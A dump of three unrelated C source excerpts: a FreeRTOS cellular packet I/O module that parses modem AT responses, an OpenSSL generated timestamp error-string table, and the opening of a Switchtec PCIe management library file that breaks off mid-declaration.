ppStartOfData and pDataLength are not set if this function failed. */ /* This function may fix the data stream if the AT response and data * received are in the same line. */ pktStatus = pContext->pktDataPrefixCB( pContext->pDataPrefixCBContext, pTempLine, *pBytesRead, ppStartOfData, &pContext->dataLength ); if( pktStatus == CELLULAR_PKT_STATUS_OK ) { /* These members filled by user callback function and need to be demonstrated. */ if( pContext->dataLength > 0U ) { configASSERT( ppStartOfData != NULL ); } } else if( pktStatus == CELLULAR_PKT_STATUS_SIZE_MISMATCH ) { /* The modem driver is waiting for more data to decide. */ LogDebug( ( "%p is not a complete line", pTempLine ) ); pContext->pPktioReadPtr = pTempLine; pContext->partialDataRcvdLen = *pBytesRead; keepProcess = false; } else { LogError( ( "pktDataPrefixCB returns error %d", pktStatus ) ); keepProcess = false; } } else { /* This is the case AT command don't need data send or data receive prefix. */ /* MISRA empty else. */ } } return keepProcess; } /*-----------------------------------------------------------*/ static bool _handleDataResult( CellularContext_t * pContext, CellularATCommandResponse_t * const * ppAtResp, char * pStartOfData, char ** ppLine, uint32_t * pBytesRead ) { uint32_t bytesLeft = 0; bool keepProcess = true; /* The input line is a data recv command. Handle the data buffer. */ ( void ) _handleData( pStartOfData, pContext, *ppAtResp, ppLine, *pBytesRead, &bytesLeft ); /* pktStatus will never be CELLULAR_PKT_STATUS_PENDING_BUFFER from _handleData(). */ if( bytesLeft == 0U ) { LogDebug( ( "Complete Data received" ) ); keepProcess = false; } else { *pBytesRead = bytesLeft; LogDebug( ( "_handleData okay, keep processing %u bytes %p", bytesLeft, *ppLine ) ); } return keepProcess; } /*-----------------------------------------------------------*/ static bool _getNextLine( CellularContext_t * pContext, char ** ppLine, uint32_t * pBytesRead, uint32_t currentLineLength, CellularPktStatus_t pktStatus ) { bool keepProcess = true; /* Advanced 1 byte to read next Line. */ *ppLine = &( ( *ppLine )[ ( currentLineLength + 1U ) ] ); *pBytesRead = *pBytesRead - ( currentLineLength + 1U ); pContext->pPktioReadPtr = *ppLine; pContext->partialDataRcvdLen = *pBytesRead; if( ( pktStatus == CELLULAR_PKT_STATUS_OK ) && ( pContext->recvdMsgType == AT_SOLICITED ) ) { /* Garbage collection. */ LogDebug( ( "Garbage collection" ) ); ( void ) memmove( pContext->pktioReadBuf, *ppLine, *pBytesRead ); *ppLine = pContext->pktioReadBuf; pContext->pPktioReadPtr = pContext->pktioReadBuf; pContext->partialDataRcvdLen = *pBytesRead; } return keepProcess; } /*-----------------------------------------------------------*/ /* This function handle message in line( string terminated with \r or \n ). */ static void _handleAllReceived( CellularContext_t * pContext, CellularATCommandResponse_t ** ppAtResp, char * pData, uint32_t bytesInBuffer ) { CellularPktStatus_t pktStatus = CELLULAR_PKT_STATUS_OK; char * pStartOfData = NULL, * pTempLine = pData; uint32_t bytesRead = bytesInBuffer; uint32_t currentLineLength = 0U; bool keepProcess = true; while( keepProcess == true ) { /* Pktio is reading command. Skip over the change line. And the reason * we don't consider the variable bytesInBuffer is because that the * input variable bytesInBuffer is bounded by the caller already. */ while( ( bytesRead > 0U ) && ( ( *pTempLine == '\r' ) || ( *pTempLine == '\n' ) ) ) { pTempLine++; bytesRead = bytesRead - 1U; } /* Preprocess line. */ keepProcess = _preprocessLine( pContext, pTempLine, &bytesRead, &pStartOfData ); if( keepProcess == true ) { keepProcess = _findLineInStream( pContext, pTempLine, bytesRead, &currentLineLength ); } if( keepProcess == true ) { /* A complete Line received. Get the message type. */ pContext->recvdMsgType = _getMsgType( pContext, pTempLine, pContext->pRespPrefix ); /* Handle the message according the received message type. */ pktStatus = _handleMsgType( pContext, ppAtResp, pTempLine ); if( pktStatus == CELLULAR_PKT_STATUS_PENDING_BUFFER ) { /* The input line is a data recv command. Handle the data buffer. */ if( pContext->dataLength != 0U ) { keepProcess = _handleDataResult( pContext, ppAtResp, pStartOfData, &pTempLine, &bytesRead ); } else { keepProcess = _getNextLine( pContext, &pTempLine, &bytesRead, currentLineLength, pktStatus ); } } else if( ( pktStatus == CELLULAR_PKT_STATUS_OK ) || ( pktStatus == CELLULAR_PKT_STATUS_PENDING_DATA ) ) { /* Process AT reponse success. Get the next Line. */ keepProcess = _getNextLine( pContext, &pTempLine, &bytesRead, currentLineLength, pktStatus ); } else { LogDebug( ( "_handleMsgType failed %d", pktStatus ) ); keepProcess = false; } } } } /*-----------------------------------------------------------*/ static uint32_t _handleRxDataEvent( CellularContext_t * pContext, CellularATCommandResponse_t ** ppAtResp ) { char * pLine = NULL; uint32_t bytesRead = 0; uint32_t bytesLeft = 0; /* Return the first line, may be more lines in buffer. */ /* Start from pLine there are bytesRead bytes. */ pLine = _Cellular_ReadLine( pContext, &bytesRead, *ppAtResp ); if( bytesRead > 0U ) { if( pContext->dataLength != 0U ) { ( void ) _handleData( pLine, pContext, *ppAtResp, &pLine, bytesRead, &bytesLeft ); } else { bytesLeft = bytesRead; } /* If bytesRead in _Cellular_ReadLine is all for data, don't parse the AT command response. */ if( bytesLeft > 0U ) { /* Add the null terminated char to the end of pLine. */ pLine[ bytesLeft ] = '\0'; _handleAllReceived( pContext, ppAtResp, pLine, bytesLeft ); } } /* Return the bytes read from comm interface to do more reading. */ return bytesRead; } /*-----------------------------------------------------------*/ static void _pktioReadThread( void * pUserData ) { CellularContext_t * pContext = ( CellularContext_t * ) pUserData; CellularATCommandResponse_t * pAtResp = NULL; PlatformEventGroup_EventBits uxBits = 0; uint32_t bytesRead = 0U; /* Open main communication port. */ if( ( pContext->pCommIntf != NULL ) && ( pContext->pCommIntf->open( _Cellular_PktRxCallBack, ( void * ) pContext, &pContext->hPktioCommIntf ) == IOT_COMM_INTERFACE_SUCCESS ) ) { /* Send thread started event. */ /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ ( void ) PlatformEventGroup_SetBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( EventBits_t ) PKTIO_EVT_MASK_STARTED ); do { /* Wait events for abort thread or rx data available. */ /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ uxBits = ( PlatformEventGroup_EventBits ) PlatformEventGroup_WaitBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_ABORT | ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_RX_DATA ), pdTRUE, pdFALSE, portMAX_DELAY ); if( ( uxBits & ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_ABORT ) != 0U ) { LogDebug( ( "Abort received, cleaning up!" ) ); FREE_AT_RESPONSE_AND_SET_NULL( pAtResp ); break; } else if( ( uxBits & ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_RX_DATA ) != 0U ) { /* Keep Reading until there is no more bytes in comm interface. */ do { bytesRead = _handleRxDataEvent( pContext, &pAtResp ); } while( ( bytesRead != 0U ) ); } else { /* Empty else to avoid MISRA violation */ } } while( true ); ( void ) pContext->pCommIntf->close( pContext->hPktioCommIntf ); pContext->hPktioCommIntf = NULL; pContext->pPktioShutdownCB( pContext ); } else { LogError( ( "Comm port open failed" ) ); } ( void ) PlatformEventGroup_SetBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( EventBits_t ) PKTIO_EVT_MASK_ABORTED ); /* Call the shutdown callback if it is defined. */ if( pContext->pPktioShutdownCB != NULL ) { pContext->pPktioShutdownCB( pContext ); } } /*-----------------------------------------------------------*/ static void _PktioInitProcessReadThreadStatus( CellularContext_t * pContext ) { PlatformEventGroup_EventBits uxBits = 0; uxBits = ( PlatformEventGroup_EventBits ) PlatformEventGroup_WaitBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_STARTED | ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_ABORTED ), pdTRUE, pdFALSE, ( ( PlatformTickType ) ~( 0UL ) ) ); if( ( uxBits & ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_ABORTED ) != ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_ABORTED ) { pContext->bPktioUp = true; } } /*-----------------------------------------------------------*/ CellularPktStatus_t _Cellular_PktioInit( CellularContext_t * pContext, _pPktioHandlePacketCallback_t handlePacketCb ) { CellularPktStatus_t pktStatus = CELLULAR_PKT_STATUS_OK; bool status = false; if( pContext == NULL ) { pktStatus = ( CellularPktStatus_t ) CELLULAR_PKT_STATUS_INVALID_HANDLE; } else { pContext->bPktioUp = false; pContext->PktioAtCmdType = CELLULAR_AT_NO_COMMAND; /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ pContext->pPktioCommEvent = ( PlatformEventGroupHandle_t ) PlatformEventGroup_Create(); if( pContext->pPktioCommEvent == NULL ) { LogError( ( "Can't create event group" ) ); pktStatus = CELLULAR_PKT_STATUS_CREATION_FAIL; } } if( pktStatus == CELLULAR_PKT_STATUS_OK ) { pContext->pPktioHandlepktCB = handlePacketCb; /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ ( void ) PlatformEventGroup_ClearBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( ( PlatformEventGroup_EventBits ) PKTIO_EVT_MASK_ALL_EVENTS ) ); /* Create the Read thread. */ status = Platform_CreateDetachedThread( _pktioReadThread, ( void * ) pContext, PLATFORM_THREAD_DEFAULT_PRIORITY, PLATFORM_THREAD_DEFAULT_STACK_SIZE ); if( status == true ) { LogDebug( ( "Reader thread created" ) ); _PktioInitProcessReadThreadStatus( pContext ); if( pContext->bPktioUp == false ) { LogError( ( "Reader thread aborted" ) ); pktStatus = CELLULAR_PKT_STATUS_FAILURE; } } else { LogError( ( "Can't create reader thread" ) ); pktStatus = CELLULAR_PKT_STATUS_CREATION_FAIL; } } if( pktStatus == CELLULAR_PKT_STATUS_OK ) { LogDebug( ( "Thread create: read_thread status:%d", pktStatus ) ); } else { if( pContext != NULL ) { pContext->pPktioHandlepktCB = NULL; if( pContext->pPktioCommEvent != NULL ) { /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ ( void ) PlatformEventGroup_Delete( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent ); pContext->pPktioCommEvent = ( PlatformEventGroupHandle_t ) ( uintptr_t ) ( uintptr_t * ) NULL; } } } return pktStatus; } /*-----------------------------------------------------------*/ /* Sends the AT command to the modem. */ CellularPktStatus_t _Cellular_PktioSendAtCmd( CellularContext_t * pContext, const char * pAtCmd, CellularATCommandType_t atType, const char * pAtRspPrefix ) { uint32_t cmdLen = 0, newCmdLen = 0; uint32_t sentLen = 0; CellularPktStatus_t pktStatus = CELLULAR_PKT_STATUS_OK; if( pContext == NULL ) { LogError( ( "_Cellular_PktioSendAtCmd : invalid cellular context" ) ); pktStatus = CELLULAR_PKT_STATUS_INVALID_HANDLE; } else if( ( pContext->pCommIntf == NULL ) || ( pContext->hPktioCommIntf == NULL ) ) { LogError( ( "_Cellular_PktioSendAtCmd : invalid comm interface handle" ) ); pktStatus = CELLULAR_PKT_STATUS_INVALID_HANDLE; } else if( pAtCmd == NULL ) { LogError( ( "_Cellular_PktioSendAtCmd : invalid pAtCmd" ) ); pktStatus = CELLULAR_PKT_STATUS_BAD_PARAM; } else { cmdLen = ( uint32_t ) strlen( pAtCmd ); if( cmdLen > PKTIO_WRITE_BUFFER_SIZE ) { LogError( ( "_Cellular_PktioSendAtCmd : invalid pAtCmd" ) ); pktStatus = CELLULAR_PKT_STATUS_BAD_PARAM; } else { pContext->pRespPrefix = pAtRspPrefix; pContext->PktioAtCmdType = atType; newCmdLen = cmdLen; newCmdLen += 1U; /* Include space for \r. */ ( void ) strncpy( pContext->pktioSendBuf, pAtCmd, cmdLen ); pContext->pktioSendBuf[ cmdLen ] = '\r'; ( void ) pContext->pCommIntf->send( pContext->hPktioCommIntf, ( const uint8_t * ) &pContext->pktioSendBuf, newCmdLen, CELLULAR_COMM_IF_SEND_TIMEOUT_MS, &sentLen ); } } return pktStatus; } /*-----------------------------------------------------------*/ /* Sends data to the modem. */ uint32_t _Cellular_PktioSendData( const CellularContext_t * pContext, const uint8_t * pData, uint32_t dataLen ) { uint32_t sentLen = 0; if( pContext == NULL ) { LogError( ( "_Cellular_PktioSendData : invalid cellular context" ) ); } else if( ( pContext->pCommIntf == NULL ) || ( pContext->hPktioCommIntf == NULL ) ) { LogError( ( "_Cellular_PktioSendData : invalid comm interface handle" ) ); } else if( pData == NULL ) { LogError( ( "_Cellular_PktioSendData : invalid pData" ) ); } else { ( void ) pContext->pCommIntf->send( pContext->hPktioCommIntf, pData, dataLen, CELLULAR_COMM_IF_SEND_TIMEOUT_MS, &sentLen ); } LogDebug( ( "PktioSendData sent %d bytes", sentLen ) ); return sentLen; } /*-----------------------------------------------------------*/ void _Cellular_PktioShutdown( CellularContext_t * pContext ) { PlatformEventGroup_EventBits uxBits = 0; if( ( pContext != NULL ) && ( pContext->bPktioUp ) ) { if( pContext->pPktioCommEvent != NULL ) { ( void ) PlatformEventGroup_SetBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent, ( EventBits_t ) PKTIO_EVT_MASK_ABORT ); /* It's platform-dependent declaration. */ /* coverity[misra_c_2012_directive_4_6_violation] */ uxBits = ( PlatformEventGroup_EventBits ) PlatformEventGroup_GetBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent ); while( ( PlatformEventGroup_EventBits ) ( uxBits & PKTIO_EVT_MASK_ABORTED ) != ( PlatformEventGroup_EventBits ) ( PKTIO_EVT_MASK_ABORTED ) ) { Platform_Delay( PKTIO_SHUTDOWN_WAIT_INTERVAL_MS ); uxBits = ( PlatformEventGroup_EventBits ) PlatformEventGroup_GetBits( ( PlatformEventGroupHandle_t ) pContext->pPktioCommEvent ); } ( void ) PlatformEventGroup_Delete( pContext->pPktioCommEvent ); pContext->pPktioCommEvent = ( PlatformEventGroupHandle_t ) ( uintptr_t ) ( uintptr_t * ) NULL; } pContext->pPktioHandlepktCB = NULL; pContext->bPktioUp = false; } } /*-----------------------------------------------------------*/
280086.c
/* * Generated by util/mkerr.pl DO NOT EDIT * Copyright 1995-2017 The OpenSSL Project Authors. All Rights Reserved. * * Licensed under the OpenSSL license (the "License"). You may not use * this file except in compliance with the License. You can obtain a copy * in the file LICENSE in the source distribution or at * https://www.openssl.org/source/license.html */ #include <openssl/err.h> #include <openssl/tserr.h> #ifndef OPENSSL_NO_ERR static const ERR_STRING_DATA TS_str_functs[] = { {ERR_PACK(ERR_LIB_TS, TS_F_DEF_SERIAL_CB, 0), "def_serial_cb"}, {ERR_PACK(ERR_LIB_TS, TS_F_DEF_TIME_CB, 0), "def_time_cb"}, {ERR_PACK(ERR_LIB_TS, TS_F_ESS_ADD_SIGNING_CERT, 0), "ess_add_signing_cert"}, {ERR_PACK(ERR_LIB_TS, TS_F_ESS_ADD_SIGNING_CERT_V2, 0), "ess_add_signing_cert_v2"}, {ERR_PACK(ERR_LIB_TS, TS_F_ESS_CERT_ID_NEW_INIT, 0), "ess_CERT_ID_new_init"}, {ERR_PACK(ERR_LIB_TS, TS_F_ESS_CERT_ID_V2_NEW_INIT, 0), "ess_cert_id_v2_new_init"}, {ERR_PACK(ERR_LIB_TS, TS_F_ESS_SIGNING_CERT_NEW_INIT, 0), "ess_SIGNING_CERT_new_init"}, {ERR_PACK(ERR_LIB_TS, TS_F_ESS_SIGNING_CERT_V2_NEW_INIT, 0), "ess_signing_cert_v2_new_init"}, {ERR_PACK(ERR_LIB_TS, TS_F_INT_TS_RESP_VERIFY_TOKEN, 0), "int_ts_RESP_verify_token"}, {ERR_PACK(ERR_LIB_TS, TS_F_PKCS7_TO_TS_TST_INFO, 0), "PKCS7_to_TS_TST_INFO"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_ACCURACY_SET_MICROS, 0), "TS_ACCURACY_set_micros"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_ACCURACY_SET_MILLIS, 0), "TS_ACCURACY_set_millis"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_ACCURACY_SET_SECONDS, 0), "TS_ACCURACY_set_seconds"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CHECK_IMPRINTS, 0), "ts_check_imprints"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CHECK_NONCES, 0), "ts_check_nonces"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CHECK_POLICY, 0), "ts_check_policy"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CHECK_SIGNING_CERTS, 0), "ts_check_signing_certs"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CHECK_STATUS_INFO, 0), "ts_check_status_info"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_COMPUTE_IMPRINT, 0), "ts_compute_imprint"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CONF_INVALID, 0), "ts_CONF_invalid"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CONF_LOAD_CERT, 0), "TS_CONF_load_cert"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CONF_LOAD_CERTS, 0), "TS_CONF_load_certs"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CONF_LOAD_KEY, 0), "TS_CONF_load_key"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CONF_LOOKUP_FAIL, 0), "ts_CONF_lookup_fail"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_CONF_SET_DEFAULT_ENGINE, 0), "TS_CONF_set_default_engine"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_GET_STATUS_TEXT, 0), "ts_get_status_text"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_MSG_IMPRINT_SET_ALGO, 0), "TS_MSG_IMPRINT_set_algo"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_REQ_SET_MSG_IMPRINT, 0), "TS_REQ_set_msg_imprint"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_REQ_SET_NONCE, 0), "TS_REQ_set_nonce"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_REQ_SET_POLICY_ID, 0), "TS_REQ_set_policy_id"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CREATE_RESPONSE, 0), "TS_RESP_create_response"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CREATE_TST_INFO, 0), "ts_RESP_create_tst_info"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_ADD_FAILURE_INFO, 0), "TS_RESP_CTX_add_failure_info"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_ADD_MD, 0), "TS_RESP_CTX_add_md"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_ADD_POLICY, 0), "TS_RESP_CTX_add_policy"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_NEW, 0), "TS_RESP_CTX_new"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_SET_ACCURACY, 0), "TS_RESP_CTX_set_accuracy"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_SET_CERTS, 0), "TS_RESP_CTX_set_certs"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_SET_DEF_POLICY, 0), "TS_RESP_CTX_set_def_policy"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_SET_SIGNER_CERT, 0), "TS_RESP_CTX_set_signer_cert"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_CTX_SET_STATUS_INFO, 0), "TS_RESP_CTX_set_status_info"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_GET_POLICY, 0), "ts_RESP_get_policy"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_SET_GENTIME_WITH_PRECISION, 0), "TS_RESP_set_genTime_with_precision"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_SET_STATUS_INFO, 0), "TS_RESP_set_status_info"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_SET_TST_INFO, 0), "TS_RESP_set_tst_info"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_SIGN, 0), "ts_RESP_sign"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_RESP_VERIFY_SIGNATURE, 0), "TS_RESP_verify_signature"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_ACCURACY, 0), "TS_TST_INFO_set_accuracy"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_MSG_IMPRINT, 0), "TS_TST_INFO_set_msg_imprint"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_NONCE, 0), "TS_TST_INFO_set_nonce"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_POLICY_ID, 0), "TS_TST_INFO_set_policy_id"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_SERIAL, 0), "TS_TST_INFO_set_serial"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_TIME, 0), "TS_TST_INFO_set_time"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_TST_INFO_SET_TSA, 0), "TS_TST_INFO_set_tsa"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_VERIFY, 0), ""}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_VERIFY_CERT, 0), "ts_verify_cert"}, {ERR_PACK(ERR_LIB_TS, TS_F_TS_VERIFY_CTX_NEW, 0), "TS_VERIFY_CTX_new"}, {0, NULL} }; static const ERR_STRING_DATA TS_str_reasons[] = { {ERR_PACK(ERR_LIB_TS, 0, TS_R_BAD_PKCS7_TYPE), "bad pkcs7 type"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_BAD_TYPE), "bad type"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_CANNOT_LOAD_CERT), "cannot load certificate"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_CANNOT_LOAD_KEY), "cannot load private key"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_CERTIFICATE_VERIFY_ERROR), "certificate verify error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_COULD_NOT_SET_ENGINE), "could not set engine"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_COULD_NOT_SET_TIME), "could not set time"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_DETACHED_CONTENT), "detached content"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_ESS_ADD_SIGNING_CERT_ERROR), "ess add signing cert error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_ESS_ADD_SIGNING_CERT_V2_ERROR), "ess add signing cert v2 error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_ESS_SIGNING_CERTIFICATE_ERROR), "ess signing certificate error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_INVALID_NULL_POINTER), "invalid null pointer"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_INVALID_SIGNER_CERTIFICATE_PURPOSE), "invalid signer certificate purpose"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_MESSAGE_IMPRINT_MISMATCH), "message imprint mismatch"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_NONCE_MISMATCH), "nonce mismatch"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_NONCE_NOT_RETURNED), "nonce not returned"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_NO_CONTENT), "no content"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_NO_TIME_STAMP_TOKEN), "no time stamp token"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_PKCS7_ADD_SIGNATURE_ERROR), "pkcs7 add signature error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_PKCS7_ADD_SIGNED_ATTR_ERROR), "pkcs7 add signed attr error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_PKCS7_TO_TS_TST_INFO_FAILED), "pkcs7 to ts tst info failed"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_POLICY_MISMATCH), "policy mismatch"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_PRIVATE_KEY_DOES_NOT_MATCH_CERTIFICATE), "private key does not match certificate"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_RESPONSE_SETUP_ERROR), "response setup error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_SIGNATURE_FAILURE), "signature failure"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_THERE_MUST_BE_ONE_SIGNER), "there must be one signer"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TIME_SYSCALL_ERROR), "time syscall error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TOKEN_NOT_PRESENT), "token not present"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TOKEN_PRESENT), "token present"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TSA_NAME_MISMATCH), "tsa name mismatch"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TSA_UNTRUSTED), "tsa untrusted"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TST_INFO_SETUP_ERROR), "tst info setup error"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_TS_DATASIGN), "ts datasign"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_UNACCEPTABLE_POLICY), "unacceptable policy"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_UNSUPPORTED_MD_ALGORITHM), "unsupported md algorithm"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_UNSUPPORTED_VERSION), "unsupported version"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_VAR_BAD_VALUE), "var bad value"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_VAR_LOOKUP_FAILURE), "cannot find config variable"}, {ERR_PACK(ERR_LIB_TS, 0, TS_R_WRONG_CONTENT_TYPE), "wrong content type"}, {0, NULL} }; #endif int ERR_load_TS_strings(void) { #ifndef OPENSSL_NO_ERR if (ERR_func_error_string(TS_str_functs[0].error) == NULL) { ERR_load_strings_const(TS_str_functs); ERR_load_strings_const(TS_str_reasons); } #endif return 1; }
19133.c
/* * Microsemi Switchtec(tm) PCIe Management Library * Copyright (c) 2017, Microsemi Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * */ /** * @file * @brief Switchtec platform specific functions */ #include "../switchtec_priv.h" #include "switchtec/switchtec.h" #include "switchtec/gas.h" #include "switchtec/gas_mrpc.h" #include "switchtec/errors.h" #include <errno.h> /** * @brief Open a switchtec device by path. * @ingroup Device * @param[in] path Path to the switchtec device * @return Switchtec device handle, NULL on failure */ struct switchtec_dev *switchtec_open_by_path(const char *path); /** * @brief Open a switchtec device by index. * @ingroup Device * @param[in] index Ordinal index (0, 1, 2, 3...) * @return Switchtec device handle, NULL on failure * * Note the index is not guaranteed to be constant especially * considering hotplug events. */ struct switchtec_dev *switchtec_open_by_index(int index); /** * @brief Open a switchtec device by PCI address (BDF) * @ingroup Device * @param[in] domain PCI domain of the device * @param[in] bus PCI Bus Number * @param[in] device PCI Device Number * @param[in] func PCI Function Number * @return Switchtec device handle, NULL on failure */ struct switchtec_dev *switchtec_open_by_pci_addr(int domain, int bus, int device, int func); /** * @brief Open a switchtec device behind an I2C device * @ingroup Device * @param[in] path path to I2C device * @param[in] i2c_addr I2C Slave Address * @return Switchtec device handle, NULL on failure */ struct switchtec_dev *switchtec_open_i2c(const char *path, int i2c_addr); /** * @brief Open a switchtec device behind a uart device * @ingroup Device * @param[in] fd file descriptor to uart device * @return Switchtec device handle, NULL on failure */ struct switchtec_dev *switchtec_open_uart(int fd); /** * @brief Close a Switchtec device handle * @ingroup Device * @param[in] dev Switchtec device handle to close */ void switchtec_close(struct switchtec_dev *dev) { if (!dev) return; dev->ops->close(dev); } /** * @brief List all the switchtec devices in the system * @ingroup Device * @param[in] devlist List of devices, allocated by this function * * \p devlist should be freed after use with free(). */ int switchtec_list(struct switchtec_device_info **devlist); /** * @brief Get the firmware version as a user readable string * @ingroup Device * @param[in] dev Switchtec device handle * @param[in] buf String buffer to put the version in * @param[in] buflen Maximum length of the string buffer */ int switchtec_get_fw_version(struct switchtec_dev *dev, char *buf, size_t buflen) { int fw_ver; fw_ver = gas_mrpc_read32(dev, &dev->gas_map->sys_info.firmware_version); version_to_string(fw_ver, buf, buflen); return 0; } /** * @brief Execute an MRPC command * @ingroup Device * @param[in] dev Switchtec device handle * @param[in] cmd Command ID * @param[in] payload Input data * @param[in] payload_len Input data length (in bytes) * @param[out] resp Output data * @param[in] resp_len Output data length (in bytes) * @return 0 on success, negative on system error, positive on MRPC error */ int switchtec_cmd(struct switchtec_dev *dev, uint32_t 